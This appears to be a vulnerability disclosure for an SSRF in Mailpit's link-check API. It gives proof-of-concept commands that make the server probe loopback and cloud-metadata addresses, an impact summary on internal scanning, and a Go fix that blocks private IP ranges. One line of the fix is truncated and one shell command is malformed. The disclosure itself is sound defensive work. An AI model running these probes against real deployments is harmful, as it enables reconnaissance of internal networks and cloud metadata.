Mailpit is Vulnerable to Server-Side Request Forgery (SSRF) via Link Check API

Step 1 — Start a listener to prove the SSRF:

python3 -m http.server 8081 --bind 127.0.0.1

Step 2 — Send a crafted email via SMTP:

  swaks --to [email protected] \
        --from [email protected] \
        --server localhost:1025 \
        --header "Content-Type: text/html" \
        --body '<html><body><a href="http://127.0.0.1:8081/ssrf-proof">click</a><a
  href="http://169.254.169.254/latest/meta-data/">metadata</a></body></html>'

Step 3 — Get the message ID:

curl -s http://localhost:8025/api/v1/messages?limit=1 | jq -r '.messages[0].ID' Or use the shorthand ID latest.

Step 4 — Trigger the link check:

curl -s http://localhost:8025/api/v1/message/latest/link-check | jq .

Expected result:

• The Python HTTP server on port 8081 logs a HEAD /ssrf-proof request from Mailpit.
• The API response contains the status code and status text for each internal target:

  {
    "Errors": 0,
    "Links": [
      {"URL": "http://127.0.0.1:8081/ssrf-proof", "StatusCode": 200, "Status": "OK"},
      {"URL": "http://169.254.169.254/latest/meta-data/", "StatusCode": 200, "Status": "OK"}
    ]
  }

-- This behavior can be identified by creating a email txt file as

cat email.txt > 
From: [email protected]
To: [email protected]
Subject: Email Subject

This is the body of the email.
It can contain multiple lines of text.
http://localhost:8408

• Start a Python server on port 8408

• execute the command mailpit sendmail < email.txt

• Observe a request to your python server and link status on the UI as OK

The attacker now knows both internal services are reachable and gets their exact HTTP status codes, this allows internal port scanning

Impact

Who is impacted: Any Mailpit deployment where an attacker can both send email (SMTP) and access the API. This includes the default configuration, which binds both services to all interfaces with no authentication.

What an attacker can do:

• Internal network scanning — Enumerate hosts and open ports on the internal network by reading status codes and error messages (connection refused vs. timeout vs. 200 OK).
• Cloud metadata access — Reach cloud provider metadata endpoints (169.254.169.254) and infer sensitive information from response codes.
• Service fingerprinting — Identify what services run on internal hosts from their HTTP status codes and response behavior.
• Bypass network segmentation — Use the Mailpit server's network position to reach hosts that are not directly accessible to the attacker.

This is a non-blind SSRF: the attacker gets direct, structured feedback (status code + status text) for every URL, making exploitation straightforward without any timing or side-channel inference.

Remediation

Then standard Go library can be used to identify a local address being requested and deny it.

func isBlockedIP(ip net.IP) bool {
        return ip.IsLoopback() ||
                ip.IsPrivate() ||
                ip.IsLinkLocalUnicast() ||
                ip.IsLinkLocalMulticast() ||
                ip.IsUnspecified() ||
                ip.IsMulticast()
  }

  - IsLoopback() — 127.0.0.0/8, ::1
  - IsPrivate() — 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, fc00::/7
  - IsLinkLocalUnicast() — 169.254.0.0/16, fe80::/10 (covers cloud metadata 169.254.169.254)
  - IsLinkLocalMulticast() — 224.0.0.0/24, ff02::/16
  - IsUnspecified() — 0.0.0.0, ::
  - IsMulticast() — 224.0.0.0/4, ff00::/8

And the safe dialer that uses it:

 func safeDialContext(dialer *net.Dialer) func(ctx context.Context, network, address string) (net.Conn, error) {
        return func(ctx context.Context, network, address string) (net.Conn, error) {
                host, port, err := net.SplitHostPort(address)
                if err != nil {
                        return nil, err
                }

                ips, err := net.DefaultResolver.LookupIPAddr(ctx, host)
                if err != nil {
                        return nil, err
                }

                for _, ip := range ips {
                        if isBlockedIP(ip.IP) {
                                return nil, fmt.Errorf("blocked request to private/reserved address: %s (%s)", host, ip.
                        }
                }

                return dialer.DialContext(ctx, network, net.JoinHostPort(ips[0].IP.String(), port))
        }
  }

Then the doHead() change — replace the bare transport with one that uses the safe dialer, and re-validate URLs on redirect hops:

  func doHead(link string, followRedirects bool) (int, error) {
        if !isValidLinkURL(link) {
                return 0, fmt.Errorf("invalid URL: %s", link)
        }

        dialer := &net.Dialer{
                Timeout:   5 * time.Second,
                KeepAlive: 30 * time.Second,
        }

        tr := &http.Transport{
                DialContext: safeDialContext(dialer),
        }

        if config.AllowUntrustedTLS {
                tr.TLSClientConfig = &tls.Config{InsecureSkipVerify: true} // #nosec
        }

        client := http.Client{
                Timeout:   10 * time.Second,
                Transport: tr,
                CheckRedirect: func(req *http.Request, via []*http.Request) error {
                        if len(via) >= 3 {
                                return errors.New("too many redirects")
                        }
                        if !followRedirects {
                                return http.ErrUseLastResponse
                        }
                        if !isValidLinkURL(req.URL.String()) {
                                return fmt.Errorf("blocked redirect to invalid URL: %s", req.URL)
                        }
                        return nil
                },
        }

        req, err := http.NewRequest("HEAD", link, nil)
        if err != nil {
                logger.Log().Errorf("[link-check] %s", err.Error())
                return 0, err
        }

        req.Header.Set("User-Agent", "Mailpit/"+config.Version)

        res, err := client.Do(req)
        if err != nil {
                if res != nil {
                        return res.StatusCode, err
                }
                return 0, err
        }

        return res.StatusCode, nil
  }

  func isValidLinkURL(str string) bool {
        u, err := url.Parse(str)
        return err == nil && (u.Scheme == "http" || u.Scheme == "https") && u.Hostname() != ""
  }

This fix should mitigate the reported SSRF.